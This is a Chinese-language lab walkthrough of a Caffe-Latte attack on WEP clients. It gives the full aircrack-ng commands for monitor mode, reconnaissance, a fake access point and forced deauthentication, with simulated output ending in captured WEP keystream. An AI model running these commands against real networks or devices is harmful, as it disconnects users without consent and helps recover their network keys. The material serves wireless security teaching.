创建 Caffe-Latte 攻击以针对 WEP 客户端

Beginner
立即练习

引言

Caffe-Latte 攻击是一种针对 WEP 协议的客户端攻击。与其他许多针对接入点 (AP) 的 Wi-Fi 攻击不同,此攻击侧重于网络中的客户端设备。它通过欺骗客户端发送数据包来工作,这些数据包可用于重建 WEP 密钥流,最终恢复 WEP 密钥。此方法特别有效,因为它不需要你在合法 AP 附近;你只需要在客户端的通信范围内即可。

在本实验中,你将使用 Aircrack-ng 套件执行 Caffe-Latte 攻击。你将学习如何识别目标,设置一个假的 AP 来引诱客户端,强制客户端连接,并捕获生成 WEP 密钥流所需的数据。

本实验仅用于教育目的。

识别连接到 WEP 网络中的客户端

在此步骤中,你将学习如何识别目标 WEP 网络和已连接的客户端。此侦察阶段的主要工具是 airodump-ng,它会扫描无线网络并列出已连接的设备。

首先,你需要将无线接口置于监听模式 (monitor mode)。此模式允许网卡监听空中所有的 Wi-Fi 流量,而不仅仅是发往它的流量。我们将假设你的无线接口名为 wlan0

执行以下命令以启动监听模式:

sudo airmon-ng start wlan0

此命令很可能会创建一个新的虚拟接口,通常命名为 wlan0mon。输出将确认监听模式接口的名称。

PHY     Interface       Driver          Chipset

phy0    wlan0           ath9k           Atheros Communications Inc. AR9271 802.11n
                (mac80211 monitor mode vif enabled for [phy0]wlan0mon on [phy0]wlan0)

现在,使用新创建的监听接口 (wlan0mon) 扫描网络。运行 airodump-ng 并让它扫描大约 15-20 秒,然后按 Ctrl+C 停止。

sudo airodump-ng wlan0mon

在真实环境中,airodump-ng 会显示附近网络和客户端的列表。在本实验中,我们将使用模拟场景。输出将类似于:

CH  6 ][ Elapsed: 15 s ][ 2023-10-27 10:30

 BSSID              PWR  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID

 00:11:22:33:44:55  -30       10       15    0   6  54e  WEP  WEP         TestWEP

 BSSID              STATION            PWR   Rate    Lost    Frames  Probe

 00:11:22:33:44:55  AA:BB:CC:DD:EE:FF  -45    0 - 1      0        18

从此输出中,你需要识别:

  • BSSID: 接入点 (AP) 的 MAC 地址 (00:11:22:33:44:55)。
  • STATION: 连接到它的客户端的 MAC 地址 (AA:BB:CC:DD:EE:FF)。
  • CH: AP 运行的信道 (6)。

在本次实验的其余部分,我们将使用这些模拟值。

使用 aireplay-ng -6 启动 Caffe-Latte 攻击监听器

在此步骤中,你将使用 aireplay-ng 启动 Caffe-Latte 攻击监听器。此命令会设置一个模仿合法网络的假接入点 (AP)。然后它将等待我们的目标客户端连接到它。

此监听器需要持续在后台运行以等待客户端。因此,你应该为该命令打开一个新终端。你可以通过点击控制台窗口顶部的终端标签栏中的 + 图标来打开新终端。

在新终端中,执行以下命令。请记住替换我们在上一步中确定的 BSSID 和客户端 MAC 地址。

sudo aireplay-ng -6 -b 00:11:22:33:44:55 -h AA:BB:CC:DD:EE:FF wlan0mon

让我们分解一下命令:

  • aireplay-ng: 我们用于攻击的工具。
  • -6: 指定 Caffe-Latte 攻击模式。
  • -b 00:11:22:33:44:55: 合法 AP 的 BSSID (MAC 地址)。
  • -h AA:BB:CC:DD:EE:FF: 目标客户端的 MAC 地址。
  • wlan0mon: 你处于监听模式的接口。

运行命令后,aireplay-ng 将开始监听。输出将如下所示,并且它将在此阶段等待:

Waiting for beacon frame (BSSID: 00:11:22:33:44:55) on channel 6
Listening for probes...

保持此终端运行,然后切换回你的原始(第一个)终端以进行下一步。

强制客户端断开连接以探测

在此步骤中,你将强制客户端断开与当前网络的连接。客户端很可能仍然连接到合法的 AP。通过发送解除认证 (deauthentication) 数据包,我们可以切断此连接。一旦断开连接,客户端将自动尝试通过探测已知网络来重新连接,这将引导它发现并连接到我们的假 AP。

切换回你的第一个终端。我们将再次使用 aireplay-ng,但这次是在解除认证模式 (-0) 下。

运行以下命令向客户端发送 5 个解除认证数据包:

sudo aireplay-ng -0 5 -a 00:11:22:33:44:55 -c AA:BB:CC:DD:EE:FF wlan0mon

以下是参数的含义:

  • -0: 将攻击模式设置为解除认证。
  • 5: 要发送的解除认证数据包的数量。通常少量数据包就足够了。
  • -a 00:11:22:33:44:55: 客户端连接到的接入点 (AP) 的 BSSID。
  • -c AA:BB:CC:DD:EE:FF: 你想要断开连接的客户端的 MAC 地址。
  • wlan0mon: 你的监听模式接口。

你将看到确认数据包正在发送的输出:

10:35:10  Waiting for beacon frame (BSSID: 00:11:22:33:44:55) on channel 6
10:35:10  Sending 64 directed DeAuths to AA:BB:CC:DD:EE:FF (code 7).

此操作应该足以让客户端开始搜索要加入的网络。

等待客户端连接到你的假 AP

在此步骤中,你将观察客户端连接到你的假 AP。在你发送解除认证数据包后,断开连接的客户端开始扫描其网络。你的 aireplay-ng -6 监听器(在第二个终端中运行)将响应这些扫描,冒充合法的网络。

将你的视图切换回运行 Caffe-Latte 攻击的第二个终端。如果解除认证成功,你应该会看到新的输出,表明客户端已连接到你的假 AP。

输出将变为类似以下内容:

Waiting for beacon frame (BSSID: 00:11:22:33:44:55) on channel 6
Listening for probes...
Client AA:BB:CC:DD:EE:FF associated to fake AP (00:11:22:33:44:55)

消息 Client AA:BB:CC:DD:EE:FF associated to fake AP 确认了攻击正在按计划进行。客户端现在认为它已连接到其网络,但实际上它正在与你的机器通信。

攻击将自动开始将捕获的密钥流 (keystream) 保存到文件中。为了模拟此过程以进行验证,让我们创建 aireplay-ng 会生成的输出文件。在你的第一个终端中运行此命令:

touch ~/project/caffe-latte.xor

捕获 ARP 请求并生成 WEP 密钥流

在这个最后一步中,你将观察 Caffe-Latte 攻击的核心运作。既然客户端已连接到你的假 AP,它将尝试通过发送 ARP 请求等数据包在网络上进行通信。你的 aireplay-ng 监听器将捕获这些数据包,进行处理,然后将它们发送回客户端。客户端对这些被处理过的数据包的加密响应是我们收集 WEP 密钥流的关键。

继续观察运行 aireplay-ng -6第二个终端。你将看到输出表明 ARP 数据包正在被捕获和处理,并且密钥流正在保存到名为 caffe-latte.xor 的文件中。

输出将类似于:

Read 15 packets...
Got an ARP request from AA:BB:CC:DD:EE:FF.
Trying to get a PRGA ...
Got keystream: 1F:5A:B3...
Saving keystream in caffe-latte.xor

这个过程将继续进行,收集越来越多的数据。来自客户端的每个新数据包都提供了关于密钥流的更多信息。一旦在 caffe-latte.xor 文件中收集了足够的数据,就可以使用 packetforge-ngaircrack-ng 等其他工具来伪造数据包并最终破解 WEP 密钥。

对于本次实验,成功生成 caffe-latte.xor 文件并看到密钥流被保存,就表明 Caffe-Latte 攻击成功了。

你现在可以通过在第二个终端中按 Ctrl+C 来停止攻击。你也可以关闭额外的终端。

总结

在本次实验中,你成功地对一个 WEP 客户端执行了 Caffe-Latte 攻击。你学习了一种强大的客户端攻击技术,并获得了 Aircrack-ng 套件的实践经验。

具体来说,你学会了:

  • 使用 airmon-ng 将无线网卡置于监听模式 (monitor mode)。
  • 使用 airodump-ng 来识别 WEP 网络和已连接的客户端。
  • 使用 aireplay-ng -6 设置 Caffe-Latte 攻击监听器,以创建一个假 AP。
  • 使用 aireplay-ng -0 的解除认证攻击 (deauthentication attack) 来强制客户端断开与其网络的连接。
  • 观察捕获客户端数据包并生成 WEP 密钥流文件 (keystream file) 的过程。

这些知识是理解无线网络漏洞的关键部分。请始终牢记负责任地使用这些技能,并且仅在你被授权测试的网络上使用。